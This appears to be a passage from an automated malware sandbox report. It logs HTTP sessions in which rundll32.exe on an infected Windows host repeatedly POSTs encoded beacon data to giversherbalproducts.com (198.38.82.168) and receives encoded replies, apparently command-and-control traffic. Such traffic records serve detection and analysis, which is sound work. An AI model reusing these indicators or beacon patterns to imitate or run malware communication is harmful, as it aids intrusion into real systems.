Oct 4, 2021 16:04:26.577258110 CEST	7558	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:25 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
399	192.168.2.3	50241	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:26.375108957 CEST	7557	OUT	POST /lBawcxb5/IzsuOSpCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:26.948909998 CEST	7559	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:26 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49757	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:10.588013887 CEST	1045	OUT	POST /lBawcxb5/eDkkAA0bInx9RnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:11.074911118 CEST	1047	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:10 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49795	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:30.366008043 CEST	1128	OUT	POST /lBawcxb5/Hh8fPwgIJRkuIzgrOjp5HjovOkZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:30.851517916 CEST	1129	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:30 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpyfEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
400	192.168.2.3	50242	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:26.980340004 CEST	7559	OUT	POST /lBawcxb5/KhMvezsNORl8CT0dCAg1e3wyI3skOjMDBHN+LUV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:27.462833881 CEST	7561	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:27 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
401	192.168.2.3	50243	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:27.349145889 CEST	7560	OUT	POST /lBawcxb5/DQwoRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:27.963538885 CEST	7562	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:27 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
402	192.168.2.3	50244	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:27.807136059 CEST	7562	OUT	POST /lBawcxb5/Kn0kJQQ+GyccJwALHwh7DAc4BwFCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:28.332082987 CEST	7564	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:27 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
403	192.168.2.3	50245	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:28.332606077 CEST	7564	OUT	POST /lBawcxb5/CiJ+RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:28.822288990 CEST	7566	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:28 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
404	192.168.2.3	50246	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:28.685657024 CEST	7565	OUT	POST /lBawcxb5/A30cKiZ6MCx5FgQ8PxokOSQxPz8sJAA1RnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:29.129386902 CEST	7567	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:28 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
405	192.168.2.3	50247	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:29.203249931 CEST	7567	OUT	POST /lBawcxb5/OSwKHCEePnoqInogJCEWOgYGIEZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:29.693681955 CEST	7569	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:29 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 